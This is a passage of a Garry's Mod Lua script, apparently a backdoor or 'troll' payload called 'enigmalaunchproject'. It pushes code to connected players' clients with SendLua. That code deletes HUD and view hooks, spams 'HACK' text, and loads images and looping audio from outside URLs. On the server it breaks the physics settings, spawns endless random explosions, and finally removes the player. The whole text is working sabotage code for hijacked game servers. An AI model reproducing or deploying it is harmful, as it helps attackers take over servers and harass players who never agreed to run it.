  866. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  867. enigmalaunchproject:SendLua( pPlayer, [[
  868.  
  869. RunConsoleCommand("+duck")
  870.  
  871. ]] )
  872. end )
  873.  
  874. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  875. enigmalaunchproject:SendLua( pPlayer, [[
  876.  
  877. RunConsoleCommand("-duck")
  878.  
  879. ]] )
  880. end )
  881.  
  882. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  883.  
  884.  
  885.  
  886. end )
  887.  
  888.  
  889. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  890.  
  891. timer.Remove( "lespamckool" )
  892. timer.Remove( "lespamckool2" )
  893. timer.Remove( "lespamckool3" )
  894. timer.Remove( "lespamckool4" )
  895. timer.Remove( "lespamckool5" )
  896. timer.Remove( "lespamckool6" )
  897. timer.Remove( "lespamckool7" )
  898. timer.Remove( "lespamckool8" )
  899.  
  900. end )
  901.  
  902. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  903.  
  904.  
  905. RunConsoleCommand("sv_friction", "-50")
  906.  
  907.  
  908. end )
  909.  
  910. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  911.  
  912.  
  913. RunConsoleCommand("sv_gravity", "300")
  914.  
  915.  
  916. end )
  917.  
  918. enigmalaunchproject:NouvelleAction( 12, function( pPlayer )
  919.  
  920.  
  921. hook.Add("Think", "armageddon", function()
  922. local explode = ents.Create( "env_explosion" )
  923. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  924. explode:Spawn()
  925. explode:SetKeyValue( "iMagnitude", "500" )
  926. explode:Fire( "Explode", 0, 0 )
  927. end)
  928.  
  929. end )
  930.  
  931.  
  932. enigmalaunchproject:NouvelleAction( 27, function( pPlayer )
  933.  
  934. hook.Remove( "Think", "armageddon", function() end)
  935.  
  936. end )
  937.  
  938. enigmalaunchproject:NouvelleAction( 7, function( pPlayer )
  939. enigmalaunchproject:SendLua( pPlayer, [[
  940. hook.Add( "RenderScreenspaceEffects", "itsendofworld", function()
  941. local sinScaler = math.sin( CurTime() )
  942. DrawBloom(
  943. 0,
  944. 3,
  945. sinScaler *math.Rand(1, 8),
  946. sinScaler *math.Rand(1, 8),
  947. 6,
  948. math.Rand(0.5, 2),
  949. math.Rand(0, 0.3),
  950. math.Rand(0, 0.3),
  951. math.Rand(0.5, 1)
  952. )
  953.  
  954. DrawColorModify{
  955. ["$pp_colour_addr"] = 0,
  956. ["$pp_colour_addg"] = 0,
  957. ["$pp_colour_addb"] = 0,
  958. ["$pp_colour_brightness" ] = 0.1,
  959. ["$pp_colour_contrast" ] = 0.1,
  960. ["$pp_colour_colour" ] = 0.1,
  961. ["$pp_colour_mulr" ] = 0,
  962. ["$pp_colour_mulg" ] = 0,
  963. ["$pp_colour_mulb" ] = 0
  964. }
  965. end )
  966.  
  967. ]] )
  968. end )
  969.  
  970. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  971. enigmalaunchproject:SendLua( pPlayer, [[
  972.  
  973. (GAMEMODE or GM).CalcView = function() end
  974. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  975.  
  976. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  977. for k, v in pairs(remove) do
  978. hook.GetTable()[v] = {}
  979. end
  980.  
  981. local function GetWebMat( strURL )
  982. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  983. end
  984.  
  985. hook.Add( "HUDPaint", "hud1enigma", function()
  986. surface.SetDrawColor( 255, 255, 255, 255 )
  987.  
  988. draw.SimpleTextOutlined(
  989. "wxm",
  990. "HACK",
  991. ScrW() /2 +math.random( -270, 300 ),
  992. ScrH() /2 +math.random( -300, 700 ) +0,
  993. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  994. TEXT_ALIGN_CENTER,
  995. TEXT_ALIGN_CENTER,
  996. 1,
  997. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  998. )
  999. end )
  1000.  
  1001. ]] )
  1002. end )
  1003.  
  1004.  
  1005. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1006. enigmalaunchproject:SendLua( pPlayer, [[
  1007.  
  1008. (GAMEMODE or GM).CalcView = function() end
  1009. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1010.  
  1011. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1012. for k, v in pairs(remove) do
  1013. hook.GetTable()[v] = {}
  1014. end
  1015.  
  1016. local function GetWebMat( strURL )
  1017. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1018. end
  1019.  
  1020. hook.Add( "HUDPaint", "hud2enigma", function()
  1021. surface.SetDrawColor( 255, 255, 255, 255 )
  1022.  
  1023. draw.SimpleTextOutlined(
  1024. "wxm",
  1025. "DermaLarge",
  1026. ScrW() /2 +math.random( -600, 700 ),
  1027. ScrH() /2 +math.random( -200, 800 ) +100,
  1028. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1029. TEXT_ALIGN_CENTER,
  1030. TEXT_ALIGN_CENTER,
  1031. 1,
  1032. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1033. )
  1034. end )
  1035. ]] )
  1036. end )
  1037.  
  1038. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1039. enigmalaunchproject:SendLua( pPlayer, [[
  1040.  
  1041. (GAMEMODE or GM).CalcView = function() end
  1042. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1043.  
  1044. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1045. for k, v in pairs(remove) do
  1046. hook.GetTable()[v] = {}
  1047. end
  1048.  
  1049. local function GetWebMat( strURL )
  1050. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1051. end
  1052.  
  1053. hook.Add( "HUDPaint", "hud3enigma", function()
  1054. surface.SetDrawColor( 255, 255, 255, 255 )
  1055.  
  1056. draw.SimpleTextOutlined(
  1057. "wxm",
  1058. "DermaLarge",
  1059. ScrW() /2 +math.random( -400, 500 ),
  1060. ScrH() /2 +math.random( -600, 500 ) -100,
  1061. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1062. TEXT_ALIGN_CENTER,
  1063. TEXT_ALIGN_CENTER,
  1064. 1,
  1065. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1066. )
  1067. end )
  1068. ]] )
  1069. end )
  1070.  
  1071. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1072. enigmalaunchproject:SendLua( pPlayer, [[
  1073.  
  1074. (GAMEMODE or GM).CalcView = function() end
  1075. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1076.  
  1077. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1078. for k, v in pairs(remove) do
  1079. hook.GetTable()[v] = {}
  1080. end
  1081.  
  1082. local function GetWebMat( strURL )
  1083. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1084. end
  1085.  
  1086. hook.Add( "HUDPaint", "hud5enigma", function()
  1087. surface.SetDrawColor( 255, 255, 255, 255 )
  1088.  
  1089. draw.SimpleTextOutlined(
  1090. "wxm",
  1091. "DermaLarge",
  1092. ScrW() /2 +math.random( -500, 500 ),
  1093. ScrH() /2 +math.random( -500, 500 ) +0,
  1094. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1095. TEXT_ALIGN_CENTER,
  1096. TEXT_ALIGN_CENTER,
  1097. 1,
  1098. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1099. )
  1100. end )
  1101. ]] )
  1102. end )
  1103.  
  1104. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1105. enigmalaunchproject:SendLua( pPlayer, [[
  1106.  
  1107. (GAMEMODE or GM).CalcView = function() end
  1108. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1109.  
  1110. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1111. for k, v in pairs(remove) do
  1112. hook.GetTable()[v] = {}
  1113. end
  1114.  
  1115. local function GetWebMat( strURL )
  1116. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1117. end
  1118.  
  1119. hook.Add( "HUDPaint", "hud7enigma", function()
  1120. surface.SetDrawColor( 255, 255, 255, 255 )
  1121.  
  1122. draw.SimpleTextOutlined(
  1123. "wxm",
  1124. "DermaLarge",
  1125. ScrW() /2 +math.random( -700, 700 ),
  1126. ScrH() /2 +math.random( -700, 700 ) +300,
  1127. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1128. TEXT_ALIGN_CENTER,
  1129. TEXT_ALIGN_CENTER,
  1130. 1,
  1131. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1132. )
  1133. end )
  1134. ]] )
  1135. end )
  1136.  
  1137. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1138. enigmalaunchproject:SendLua( pPlayer, [[
  1139.  
  1140. (GAMEMODE or GM).CalcView = function() end
  1141. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1142.  
  1143. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1144. for k, v in pairs(remove) do
  1145. hook.GetTable()[v] = {}
  1146. end
  1147.  
  1148. local function GetWebMat( strURL )
  1149. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1150. end
  1151.  
  1152. hook.Add( "HUDPaint", "hud10enigma", function()
  1153. surface.SetDrawColor( 255, 255, 255, 255 )
  1154.  
  1155. draw.SimpleTextOutlined(
  1156. "wxm",
  1157. "DermaLarge",
  1158. ScrW() /2 +math.random( -800, 800 ),
  1159. ScrH() /2 +math.random( -800, 800 ) -400,
  1160. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1161. TEXT_ALIGN_CENTER,
  1162. TEXT_ALIGN_CENTER,
  1163. 1,
  1164. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1165. )
  1166. end )
  1167. ]] )
  1168. end )
  1169.  
  1170. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1171. enigmalaunchproject:SendLua( pPlayer, [[
  1172.  
  1173. (GAMEMODE or GM).CalcView = function() end
  1174. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1175.  
  1176. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1177. for k, v in pairs(remove) do
  1178. hook.GetTable()[v] = {}
  1179. end
  1180.  
  1181. local function GetWebMat( strURL )
  1182. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1183. end
  1184.  
  1185. hook.Add( "HUDPaint", "hud12enigma", function()
  1186. surface.SetDrawColor( 255, 255, 255, 255 )
  1187.  
  1188. draw.SimpleTextOutlined(
  1189. "Burrows42",
  1190. "DermaLarge",
  1191. ScrW() /2 +math.random( -850, 850 ),
  1192. ScrH() /2 +math.random( -850, 850 ) +100,
  1193. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1194. TEXT_ALIGN_CENTER,
  1195. TEXT_ALIGN_CENTER,
  1196. 1,
  1197. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1198. )
  1199. end )
  1200. ]] )
  1201. end )
  1202.  
  1203. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1204. enigmalaunchproject:SendLua( pPlayer, [[
  1205.  
  1206. (GAMEMODE or GM).CalcView = function() end
  1207. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1208.  
  1209. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1210. for k, v in pairs(remove) do
  1211. hook.GetTable()[v] = {}
  1212. end
  1213.  
  1214. local function GetWebMat( strURL )
  1215. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1216. end
  1217.  
  1218. hook.Add( "HUDPaint", "hud1enigma", function()
  1219. surface.SetDrawColor( 255, 255, 255, 255 )
  1220.  
  1221. draw.SimpleTextOutlined(
  1222. "wxm",
  1223. "DermaLarge",
  1224. ScrW() /2 +math.random( -300, 600 ),
  1225. ScrH() /2 +math.random( -600, 300 ) +200,
  1226. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1227. TEXT_ALIGN_CENTER,
  1228. TEXT_ALIGN_CENTER,
  1229. 1,
  1230. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1231. )
  1232. end )
  1233. ]] )
  1234. end )
  1235.  
  1236. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1237. enigmalaunchproject:SendLua( pPlayer, [[
  1238.  
  1239. (GAMEMODE or GM).CalcView = function() end
  1240. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1241.  
  1242. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1243. for k, v in pairs(remove) do
  1244. hook.GetTable()[v] = {}
  1245. end
  1246.  
  1247. local function GetWebMat( strURL )
  1248. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1249. end
  1250.  
  1251. hook.Add( "HUDPaint", "hud1enigma", function()
  1252. surface.SetDrawColor( 255, 255, 255, 255 )
  1253.  
  1254. draw.SimpleTextOutlined(
  1255. "wxm",
  1256. "HACK",
  1257. ScrW() /2 +math.random( -300, 600 ),
  1258. ScrH() /2 +math.random( -600, 300 ) +200,
  1259. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1260. TEXT_ALIGN_CENTER,
  1261. TEXT_ALIGN_CENTER,
  1262. 1,
  1263. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1264. )
  1265. end )
  1266. ]] )
  1267. end )
  1268.  
  1269.  
  1270. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1271. enigmalaunchproject:SendLua( pPlayer, ([=[
  1272.  
  1273. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  1274. local html = [[%s]]
  1275. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  1276. local pnl = vgui.Create( "HTML" )
  1277. pnl:SetPos( ScrW() -1, ScrH() -1 )
  1278. pnl:SetVisible( true )
  1279. pnl:SetMouseInputEnabled( false )
  1280. pnl:SetKeyBoardInputEnabled( false )
  1281. pnl:SetSize( intSizeX, intSizeY )
  1282. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  1283.  
  1284. local PageLoaded
  1285. PageLoaded = function()
  1286. local mat = pnl:GetHTMLMaterial()
  1287. if mat then
  1288. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  1289. return
  1290. end
  1291.  
  1292. timer.Simple( 0.5, PageLoaded )
  1293. end
  1294.  
  1295. PageLoaded()
  1296. end
  1297.  
  1298. LoadWebMaterial( "https://thereaper.tk/__/hehehe/__!!__!!/bravo_ct_inutile/enigmaaaa.png", "EnigmaLogo", 1000, 1000 )
  1299. ]=]):format(lol.m_strImageLoadHTML) )
  1300. end )
  1301.  
  1302. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1303. enigmalaunchproject:SendLua( pPlayer, [[
  1304. (GAMEMODE or GM).CalcView = function() end
  1305. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1306.  
  1307. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1308. for k, v in pairs(remove) do
  1309. hook.GetTable()[v] = {}
  1310. end
  1311.  
  1312. local function GetWebMat( strURL )
  1313. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1314. end
  1315.  
  1316. hook.Add( "HUDPaint", "EnigmaLogoHUD", function()
  1317. surface.SetDrawColor( 255, 255, 255, 255 )
  1318.  
  1319. if GetWebMat( "EnigmaLogo" ) then
  1320. surface.SetMaterial( GetWebMat("EnigmaLogo")[1] )
  1321. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  1322. end
  1323. end )
  1324.  
  1325. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  1326. hook.Add( "HUDShouldDraw", "EnigmaLogoHUD", function( str ) if not allowed[str] then return false end end )
  1327.  
  1328. surface.PlaySound( "garrysmod/save_load4.wav" )
  1329. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  1330. ]] )
  1331. end )
  1332.  
  1333. lol:PushAction( 175, function( pPlayer )
  1334. lol:SendLua( pPlayer, [[
  1335. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  1336.  
  1337. local sounds = {}
  1338. for i = 1, 4 do
  1339. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  1340. sounds[#sounds +1] = pChan
  1341. end )
  1342. end
  1343.  
  1344. timer.Create( "asdf", 1, 0, function()
  1345. if #sounds ~= 4 then return end
  1346. timer.Destroy( "asdf" )
  1347. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  1348. end )
  1349.  
  1350. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  1351. ]] )
  1352.  
  1353. pPlayer:Remove()
  1354. end )
Advertisement
Add Comment
Please, Sign In to add comment